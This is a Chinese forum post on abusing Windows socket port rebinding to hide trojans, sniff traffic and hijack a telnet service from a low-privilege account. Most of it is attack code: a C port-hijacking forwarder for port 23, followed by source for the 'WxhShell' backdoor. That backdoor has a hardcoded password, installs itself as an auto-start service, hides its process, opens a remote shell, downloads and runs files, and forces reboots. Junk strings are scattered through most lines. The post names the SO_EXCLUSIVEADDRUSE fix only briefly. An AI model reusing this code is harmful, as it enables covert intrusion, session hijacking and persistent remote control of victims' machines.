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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: /Oggt^S  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Pn+IJ=0Y  
;Y@!:p- H  
  saddr.sin_family = AF_INET; ` Y{>2UFX  
%su}Ru  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); &$b\=  
@3 -,=x  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); P>{US1t  
42V,PH6o  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 83  i1  
Z@uTkqG)  
  这意味着什么?意味着可以进行如下的攻击: %qS]NC  
bSrRsgKvT  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 B=Zl&1  
lJ:M^.Em0  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) d`9W  
pwFU2}I  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 FpdDIa  
aE7u5 PM  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  RHwaJ;:)#  
tLD~  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ^])e[RN7?n  
? o~:'Z  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 * MSBjH|  
pKt-R07*  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 mVv\bl?<  
G}!7tU  
  #include OuOk=  
  #include y:[BP4H?y  
  #include b&lN%+%}  
  #include    *'9)H 0  
  DWORD WINAPI ClientThread(LPVOID lpParam);   gEr4zae  
  int main() Si?$\H*:  
  { x],8yR)R  
  WORD wVersionRequested; lpl8h4d  
  DWORD ret; (;;J,*NP  
  WSADATA wsaData; pOqGAD{D$  
  BOOL val; .M DYGWKt  
  SOCKADDR_IN saddr; nE/=:{~Ws  
  SOCKADDR_IN scaddr; uy/y wm/?=  
  int err; .A3DFm3t  
  SOCKET s; gw_|C|!P  
  SOCKET sc; JN9^fR09G  
  int caddsize; OSp?okV  
  HANDLE mt; z^4KU\/JK  
  DWORD tid;    f>.4-a?  
  wVersionRequested = MAKEWORD( 2, 2 ); \'n$&PFe  
  err = WSAStartup( wVersionRequested, &wsaData ); {5T0RL{\N  
  if ( err != 0 ) { mJ)tHv"7  
  printf("error!WSAStartup failed!\n"); }qer   
  return -1; ;aq`N}d  
  } /&CUspb  
  saddr.sin_family = AF_INET; 's)fO#  
   as>:\hjP##  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 sz'p3  
(~S<EUc$  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); zQ,f5x  
  saddr.sin_port = htons(23); i-`,/e~XT  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) @gNpJB]V  
  { X]qCS0GD'  
  printf("error!socket failed!\n"); ^w>&?A'!  
  return -1; hQXxG/yFm  
  } [M4xZHd#o  
  val = TRUE; }/20%fP  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 l$F_"o?&S@  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) |V lMma z  
  { 8=:A/47=J  
  printf("error!setsockopt failed!\n"); AWO0NWTB  
  return -1; PC|'yAN:  
  } C5Xof|#p|  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; h%' N hV  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ?4,@, ae&  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 5? Wg%@  
cST\~SUm  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) >;,gGH  
  { ei@3,{~5  
  ret=GetLastError(); Rfht\{N 7  
  printf("error!bind failed!\n"); [eyb7\#   
  return -1; L/BHexOB  
  } a2o.a 2  
  listen(s,2); qYiv   
  while(1) =c&62;O  
  { 3Y`>6A=  
  caddsize = sizeof(scaddr); ZPl PN;J^1  
  //接受连接请求 D i+4Eb  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); [<yz)<<  
  if(sc!=INVALID_SOCKET) pajy#0 U  
  { Xtkw Z3  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); [m\,+lG?)j  
  if(mt==NULL) `NQ{)N0!  
  { 7aQ n;  
  printf("Thread Creat Failed!\n"); '*4iqP R;  
  break; 45) D+  
  } eES'}[W>  
  } Atd1qJ  
  CloseHandle(mt); +#~O'r]%GG  
  } Wab.|\c  
  closesocket(s); ZOuR"9]  
  WSACleanup(); eQ<xp A  
  return 0; ENq"mwV|  
  }   =:gjz4}_8  
  DWORD WINAPI ClientThread(LPVOID lpParam) Ir27ZP  
  { @0|nq9l1  
  SOCKET ss = (SOCKET)lpParam; z?kd'j`FG  
  SOCKET sc; !lhFKb;  
  unsigned char buf[4096]; <GaT|Hhc=  
  SOCKADDR_IN saddr; T`?n,'!(  
  long num; @^!\d#/M  
  DWORD val; Ukc'?p,*  
  DWORD ret; /'4Q{8.a  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ^X &)'H  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   K6hfauWd[  
  saddr.sin_family = AF_INET; b+Vi3V  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); vU}: U)S  
  saddr.sin_port = htons(23); j&CZ=?K^c  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) VhvTBo<cw  
  { >jMH#TZaX  
  printf("error!socket failed!\n");  2:'lZQ  
  return -1; 1i'Z ei)  
  } IY)5.E _  
  val = 100; o@3B(j;J`  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) p+[} Hxx=  
  { /cfHYvnz  
  ret = GetLastError(); Nd!c2`  
  return -1; r?^"6 5 =  
  } 2r;GcjezH  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 6vobta^w  
  { \Yq0 zVol  
  ret = GetLastError(); "0-y*1/m  
  return -1; lR@& Z6lw  
  } W 2<3C  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) K/|  
  { .&iN(Bd  
  printf("error!socket connect failed!\n"); A"4@L*QV  
  closesocket(sc); 3ji:O T  
  closesocket(ss); + |C=ZU  
  return -1; X$V|+lTk  
  } -~O/NX  
  while(1) V#J"c8n  
  { J`<f  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 lw[<STpD;  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ([KN*OF  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 XG&K32_fs  
  num = recv(ss,buf,4096,0); X NE+(Bt  
  if(num>0) } 0;Sk(B>  
  send(sc,buf,num,0); C[8KlD  
  else if(num==0) \Y e%o}.{  
  break; iBoEZEHjw  
  num = recv(sc,buf,4096,0); <hv7s,i  
  if(num>0) {|6z+vR  
  send(ss,buf,num,0); gz61FW  
  else if(num==0) 5B*qbM  
  break; $.:3$et@/  
  } sPCMckt  
  closesocket(ss); |>2: eH  
  closesocket(sc); CH;;V3  
  return 0 ; tpYa?ZCM  
  } eYEc^nC,c)  
Hku=pr3Gn  
4RQ5(YTTuR  
========================================================== Y<Q\d[3^F  
qq;b~ 3 kW  
下边附上一个代码,,WXhSHELL zvr\36  
yX! #a>d"H  
========================================================== (Es{la G  
Rla4L`X;  
#include "stdafx.h" kcS6_l  
3LW[H+k  
#include <stdio.h> >a=d;  
#include <string.h> >^3zU   
#include <windows.h> >nry0 ;z0,  
#include <winsock2.h> "EH,J  
#include <winsvc.h> l^r' $;<m  
#include <urlmon.h> 1;Xgc@  
m r4b  
#pragma comment (lib, "Ws2_32.lib") +(mL~td01  
#pragma comment (lib, "urlmon.lib") dJl^ADX[@  
({M?Q>s  
#define MAX_USER   100 // 最大客户端连接数 % {Q-8w!  
#define BUF_SOCK   200 // sock buffer RrWNJ&o  
#define KEY_BUFF   255 // 输入 buffer vg(K$o{BT  
maDz W_3  
#define REBOOT     0   // 重启 *#2Rvt*Ox  
#define SHUTDOWN   1   // 关机 O,mip  
Of`c`-<j  
#define DEF_PORT   5000 // 监听端口 ]k*1KP  
,4Y*:JU4  
#define REG_LEN     16   // 注册表键长度 [6R fS  
#define SVC_LEN     80   // NT服务名长度 gX,9Gh  
2[up+;%Y  
// 从dll定义API A]?^ H<  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); %&<W(|U1<  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); a)9rs\Is{  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 16$y`~c-z  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); &p"(-  
3hS6j S  
// wxhshell配置信息 l h/&__  
struct WSCFG { M<[ ?g5=#  
  int ws_port;         // 监听端口 CgnXr/!L  
  char ws_passstr[REG_LEN]; // 口令 VXIQw' Cq  
  int ws_autoins;       // 安装标记, 1=yes 0=no XP;x@I#l  
  char ws_regname[REG_LEN]; // 注册表键名 ~>%DKJe  
  char ws_svcname[REG_LEN]; // 服务名 Zq*eX\#C  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 uA\J0"0; }  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 \L[i9m|e  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 VPd,]]S5(  
int ws_downexe;       // 下载执行标记, 1=yes 0=no n+oDC65[  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" <LA^%2jT  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 =nVmthGw  
6vp0*ww  
}; H?U't 09  
B*@6xS[IL  
// default Wxhshell configuration Dg2uE8k  
struct WSCFG wscfg={DEF_PORT, 7>-yaL{  
    "xuhuanlingzhe", 9;KJr[FQV  
    1, s#^pC*,'  
    "Wxhshell", k/lFRi-i  
    "Wxhshell", I]uhi{\C  
            "WxhShell Service", >V!LitdJ  
    "Wrsky Windows CmdShell Service", sR*Nq5F#9  
    "Please Input Your Password: ", '[Gm8K5  
  1, Y\?j0X;  
  "http://www.wrsky.com/wxhshell.exe", arh@`'Q  
  "Wxhshell.exe"  @E_zR  
    }; ^ vbWRG~  
mU G %LM  
// 消息定义模块 8QF`,oXQO  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; gb 4pN  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Z2p> n`D  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; +t]Xj1Q  
char *msg_ws_ext="\n\rExit."; 3s(Ia^  
char *msg_ws_end="\n\rQuit."; v8@eW.I1  
char *msg_ws_boot="\n\rReboot..."; ZBc|438[  
char *msg_ws_poff="\n\rShutdown..."; 8D~x\!(p\  
char *msg_ws_down="\n\rSave to "; rt b*n~  
,7,;twKz  
char *msg_ws_err="\n\rErr!"; 9*}gl3y  
char *msg_ws_ok="\n\rOK!"; ,{{SI  
dr })-R  
char ExeFile[MAX_PATH]; $']VQ4tZ  
int nUser = 0; 40K2uT{cq  
HANDLE handles[MAX_USER]; 9 P"iuU  
int OsIsNt; 2)\vj5<~$  
t(?<#KUB-  
SERVICE_STATUS       serviceStatus; 7+ XM3  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Lko`F$5X  
p|VcMxT9-  
// 函数声明 )5yj/0oT  
int Install(void); -M61 Mw1  
int Uninstall(void); s AE9<(g&@  
int DownloadFile(char *sURL, SOCKET wsh); >oqZ !V5[  
int Boot(int flag); :vQM>9l7  
void HideProc(void); QN G&  
int GetOsVer(void); p4mY0Y]mP  
int Wxhshell(SOCKET wsl); w O!u!I  
void TalkWithClient(void *cs); +1@AGJU3  
int CmdShell(SOCKET sock); *Bw#c j  
int StartFromService(void); (9GbG"   
int StartWxhshell(LPSTR lpCmdLine); W_<4WG  
lbkL yp2  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); SrZ50Se  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); s4,(26y  
Y @}FL;3  
// 数据结构和表定义 -:]@HD:  
SERVICE_TABLE_ENTRY DispatchTable[] = Y';>O`  
{ \4s;!R!  
{wscfg.ws_svcname, NTServiceMain}, /`+7_=-  
{NULL, NULL} _01Px a2.  
}; fIyPFqf7w)  
pP\h6b+B  
// 自我安装 yGEb7I$h  
int Install(void) _!:@w9  
{ 4vqNule  
  char svExeFile[MAX_PATH]; 0Q1/n2V  
  HKEY key; t)I0lnbs  
  strcpy(svExeFile,ExeFile); JEHK:1^  
p\S8oHWe  
// 如果是win9x系统,修改注册表设为自启动 B>|5xpZM12  
if(!OsIsNt) { cU+>|'f &  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { xNgt[fLpS  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); kp`0erJqw  
  RegCloseKey(key); sXB+s  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { I:t^S.,  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); D[~}uZ4\  
  RegCloseKey(key); q^Inb)FeN  
  return 0; |s|/]aD}o  
    } e2Jp'93o'  
  } =|0/Ynfe  
} l0`'5>  
else { dS$ji#+d$  
QymD-A"P  
// 如果是NT以上系统,安装为系统服务 O71BM@2<  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); s.y}U5Ty?P  
if (schSCManager!=0) g1qi\axm  
{ FpzP #;  
  SC_HANDLE schService = CreateService Yy@g9mi  
  ( *V|zx#RN  
  schSCManager, p&5S|![\  
  wscfg.ws_svcname, !$r9C/k  
  wscfg.ws_svcdisp, e?<D F.Md+  
  SERVICE_ALL_ACCESS, 4oJ$dN  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , h5!d  
  SERVICE_AUTO_START, FpdHnu i1  
  SERVICE_ERROR_NORMAL, *<k&#D"m  
  svExeFile, K:w]> a  
  NULL, (1 yGg==W.  
  NULL, %#9P?COs&W  
  NULL, .,mM%w,^O  
  NULL, ^zeL+(@r/  
  NULL A& =pw#  
  ); stXda@y<p  
  if (schService!=0) o<J5!  
  { !4B_$6US  
  CloseServiceHandle(schService); o2}N=|&  
  CloseServiceHandle(schSCManager); sR! +d:LJ4  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Tc_do"uU  
  strcat(svExeFile,wscfg.ws_svcname); sVoR?peQ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { A^g>fv  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); f0FP9t3k  
  RegCloseKey(key); #eLN1q&Z  
  return 0; 7TdQRB  
    } +2y&B,L_Wh  
  } (H-cDsh;c  
  CloseServiceHandle(schSCManager); ue9h   
} u _X} -U  
} ^j iE9k)  
!x_t`78T  
return 1; I>Y{>S  
} I61%H9 ;  
;^ov~PPl  
// 自我卸载 >13/h]3  
int Uninstall(void)  ~me\  
{ >{F!ntEj  
  HKEY key; G"C;A`6  
qmID-t"  
if(!OsIsNt) { C9pnU,[  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ;q &0,B  
  RegDeleteValue(key,wscfg.ws_regname); qp@m&GH  
  RegCloseKey(key); ?\M)WDO  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 9'X@@6b*'  
  RegDeleteValue(key,wscfg.ws_regname); -%=RFgU4  
  RegCloseKey(key); QQq/5r4O`q  
  return 0; {\Ys@FF  
  } NQ{-&#@/v  
} vG3M5G  
} Se/ss!If  
else { |Q6h /"2  
sL8>GtVo  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); VH<e))5C  
if (schSCManager!=0) )r pD2H  
{ H\d;QN9Q;  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); l{QC}{Ejc2  
  if (schService!=0) ~.H~XK w  
  { u ]SZ{[ e  
  if(DeleteService(schService)!=0) { fOLnK y#  
  CloseServiceHandle(schService); J7Sx!PQ  
  CloseServiceHandle(schSCManager); _1\poAy  
  return 0; ;da4\bppt  
  } 2;h+;G  
  CloseServiceHandle(schService); )tCx5 9  
  } ?F25D2[(  
  CloseServiceHandle(schSCManager); #XfT1  
} IG&B2*  
} RB *P0  
Z]7tjRvq)  
return 1; 9LHa&""  
} y%FYXwR{  
^t7_3%%w  
// 从指定url下载文件 Z"]xdOre  
int DownloadFile(char *sURL, SOCKET wsh) Zq^^|[)bA  
{ l*qk1H"g  
  HRESULT hr; 8'n#O>V@  
char seps[]= "/"; 0xLkyt0  
char *token; VYHOk3  
char *file; 8z?$t-DO  
char myURL[MAX_PATH]; G$|G w  
char myFILE[MAX_PATH]; @::lJDGVv  
M*v^N]>"G  
strcpy(myURL,sURL); lu3Q,W  
  token=strtok(myURL,seps); + 2OZJVJ  
  while(token!=NULL) =1eV   
  { Zi ma^IL  
    file=token; 4bE42c=Ca7  
  token=strtok(NULL,seps); ]bf'  
  } 7bHE!#L`0  
=%xIjxYl  
GetCurrentDirectory(MAX_PATH,myFILE); ta@ ISRK  
strcat(myFILE, "\\"); wQ@Zw bx  
strcat(myFILE, file); &:-GI)[o  
  send(wsh,myFILE,strlen(myFILE),0); C"(_mW{@  
send(wsh,"...",3,0);  I.UjST  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); C"k2<IE  
  if(hr==S_OK) ~ 0av3G  
return 0; BF>T*Z-Ki  
else 1xq3RD  
return 1; av"Dljc  
C-_(13S  
} L(W%~UGN V  
N!]PIWnC  
// 系统电源模块 9+W!k^VWq  
int Boot(int flag) fi 5YMYd1  
{ LAj}kW~  
  HANDLE hToken; 7? +5%7-  
  TOKEN_PRIVILEGES tkp; d~w}NK[(  
4 fZY8  
  if(OsIsNt) { &~z+R="=  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 7k.d|<mRv  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); P)a("XnJ`  
    tkp.PrivilegeCount = 1; )r-T=  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 6s> sj7  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); F">Nrj-bs  
if(flag==REBOOT) { lO%MyP  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) U+(Z#b(Q  
  return 0; JHnk%h0  
} (7M^-_q]D  
else { @$2`DI{_^  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) =ZxW8 DK  
  return 0; VFQq`!*i  
} EI[e+@J  
  } %@M00~-  
  else { #|)JD@;Q  
if(flag==REBOOT) { t-3v1cv"  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) yg]suU<z]  
  return 0; 0sq=5 BnO  
} dt`9RB$  
else { K0d-MC   
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) GN"M:L ^k`  
  return 0; w`H.ey  
} Y&ct+w]%  
} T%M1[<"Q  
V+4k!  
return 1; I!C(K^  
} tJ(c<:zD  
L%c]%3A  
// win9x进程隐藏模块 sR7{i  
void HideProc(void) 4~]8N@Bii  
{ d/ 'A\"o+  
pfJVE  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); k1QpX@  
  if ( hKernel != NULL ) Zi[{\7a  
  { rR),~ @]sL  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 7?n* t  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); (hRgYwUa<  
    FreeLibrary(hKernel); 89:?.'  
  } mVc'%cPaw  
{2'74  
return; j. ks UJ  
} ims=-1,  
Egjk^:@  
// 获取操作系统版本 fl5UY$a2-  
int GetOsVer(void) .,d$%lN  
{ ,q'gG`M N  
  OSVERSIONINFO winfo; Pq[0vZ_}dN  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Cn6n4, 0  
  GetVersionEx(&winfo); zd6Qw-D7x  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) %>I?'y^  
  return 1; s= GOB"G  
  else 1drqWI~  
  return 0; T}b( M*E  
} O3<Y_I^  
_x,-d|9b d  
// 客户端句柄模块 V{AH\IV-  
int Wxhshell(SOCKET wsl) gN!E*@7  
{ 0$F _hZU  
  SOCKET wsh; 0T{c:m~QXe  
  struct sockaddr_in client; ()3x%3   
  DWORD myID; 5b{yA~ty  
jr#g>7yM  
  while(nUser<MAX_USER) DO1N`7@o  
{ 3wa<,^kqy  
  int nSize=sizeof(client); 6ljRV)  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize);  Vgru, '  
  if(wsh==INVALID_SOCKET) return 1; t7*H8  
wk@(CKQzI,  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ;*37ta  
if(handles[nUser]==0) tsSS31cv  
  closesocket(wsh); ^*?B)D=,  
else Fgc:6<MGM  
  nUser++; faL^=CAe  
  } [WO%rO^p  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Ae{4AZ  
thZ@Br O#  
  return 0; @L>NN>?SGQ  
} 'j,Li(@}  
0P%|)Ae  
// 关闭 socket bh;b` 5  
void CloseIt(SOCKET wsh) xn x1`|1u  
{ ]\9B?W(#  
closesocket(wsh); OL ]T+6X  
nUser--; )zL"r8si  
ExitThread(0); X-ki%jp3  
} -RqAT1  
jO3u]5}.6  
// 客户端请求句柄 ZTPOD.:#  
void TalkWithClient(void *cs) W|-N>,G  
{ A2O_pbQti  
\,cKt_{ u  
  SOCKET wsh=(SOCKET)cs; E_gDwWot  
  char pwd[SVC_LEN]; 4M<JfD  
  char cmd[KEY_BUFF]; |>o0d~s  
char chr[1]; PHiX:0zT  
int i,j; cT=wJ  
#NQz&4W  
  while (nUser < MAX_USER) { f w>Gx9  
M_.,c Vk  
if(wscfg.ws_passstr) { }$k`[ivBx(  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); eze(>0\f  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ,, H$>r_;  
  //ZeroMemory(pwd,KEY_BUFF); I}W-5%  
      i=0; KutgW#+40  
  while(i<SVC_LEN) { : $52Ds!i  
A7,$y!D  
  // 设置超时 a^}P_hg}-  
  fd_set FdRead; oQjB&0k4  
  struct timeval TimeOut; !wb~A0m  
  FD_ZERO(&FdRead); ]gZ8b- 2O  
  FD_SET(wsh,&FdRead); wyA(}iSq  
  TimeOut.tv_sec=8; Lv5 ==w}  
  TimeOut.tv_usec=0; eN?P) ,  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); zQj%ds:  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Py25k 0j!  
Md?bAMnG+}  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); )w 8lusa  
  pwd=chr[0]; d|?(c~  
  if(chr[0]==0xd || chr[0]==0xa) { UV8r&O  
  pwd=0; 1 GHgwT  
  break; .s*EV!SE  
  } \/4%[Q2QDm  
  i++; lnC Wu@{  
    } *u4X<oBS*  
]%Yis=v  
  // 如果是非法用户,关闭 socket ]GR q  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); DUliU8B}\  
} HXV73rDA  
Di"9 M(6vf  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); +2fJ  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @[kM1:G-F{  
NlEWm8u   
while(1) { #bZ=R  
w~KBk)!*  
  ZeroMemory(cmd,KEY_BUFF); I \%Lb z  
GGL4<P7  
      // 自动支持客户端 telnet标准   *|#JFy?c[  
  j=0; <J }9.k  
  while(j<KEY_BUFF) { v*fc5"3eO  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); KB *#t  
  cmd[j]=chr[0]; wJR i;fvi  
  if(chr[0]==0xa || chr[0]==0xd) { ow$l!8  
  cmd[j]=0; W#_gvW  
  break; bnY8.Lpf|  
  } q[+: t   
  j++; S!!\!w>N  
    } O8N0]Mz  
`&[:!U2]F  
  // 下载文件 wR+`("2{r  
  if(strstr(cmd,"http://")) { ,zw=&)W1  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 1nTaKK q  
  if(DownloadFile(cmd,wsh)) AbI*/ |sY  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'L59\y8H  
  else "v(]"L  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `/ReJj&~  
  } uWtS83i  
  else { UXB8sS*wQ?  
JU \J  
    switch(cmd[0]) { |=}~>!!  
  m:O2_%\l  
  // 帮助 Bo\v-97  
  case '?': { ?F!J@Xn5  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 5N+(Gv[`"  
    break; !,!tNs1 K  
  } by<@Zwtf  
  // 安装 .LcE^y[V  
  case 'i': { '<D}5u7 2  
    if(Install()) +Qb/:xQu  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *xTquV$  
    else JU1; /3(  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2co{9LM  
    break; Y'*h_K  
    } xQ 3u  
  // 卸载 t\d;}@bl  
  case 'r': { M]TVaN$v#  
    if(Uninstall()) c O>:n  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6@ ^`-N;  
    else 3CuoB b8  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @wJa33QT  
    break; #|h8u`  
    } pdqa)>$  
  // 显示 wxhshell 所在路径 QjN3j*@  
  case 'p': { g@f/OsR76  
    char svExeFile[MAX_PATH]; N%E2BJ?  
    strcpy(svExeFile,"\n\r"); Ki;5 =)  
      strcat(svExeFile,ExeFile); <KPx0g?=b  
        send(wsh,svExeFile,strlen(svExeFile),0); rB|:r\Z(jG  
    break; vm}.gQ  
    } 1V$B^/_  
  // 重启 -"9)c^KVx  
  case 'b': { ']e4 !  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Xtnmh)'K~#  
    if(Boot(REBOOT)) 5<?$/H|7T  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); b=\3N3OX  
    else { n7.lF  
    closesocket(wsh); <[l}^`IC^4  
    ExitThread(0); ]JuB6o_L  
    } pFRnPOv  
    break; p&doQh  
    } '6J$X-  
  // 关机 Eakjsk  
  case 'd': { H4A+Dg,  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 3zF7V:XH  
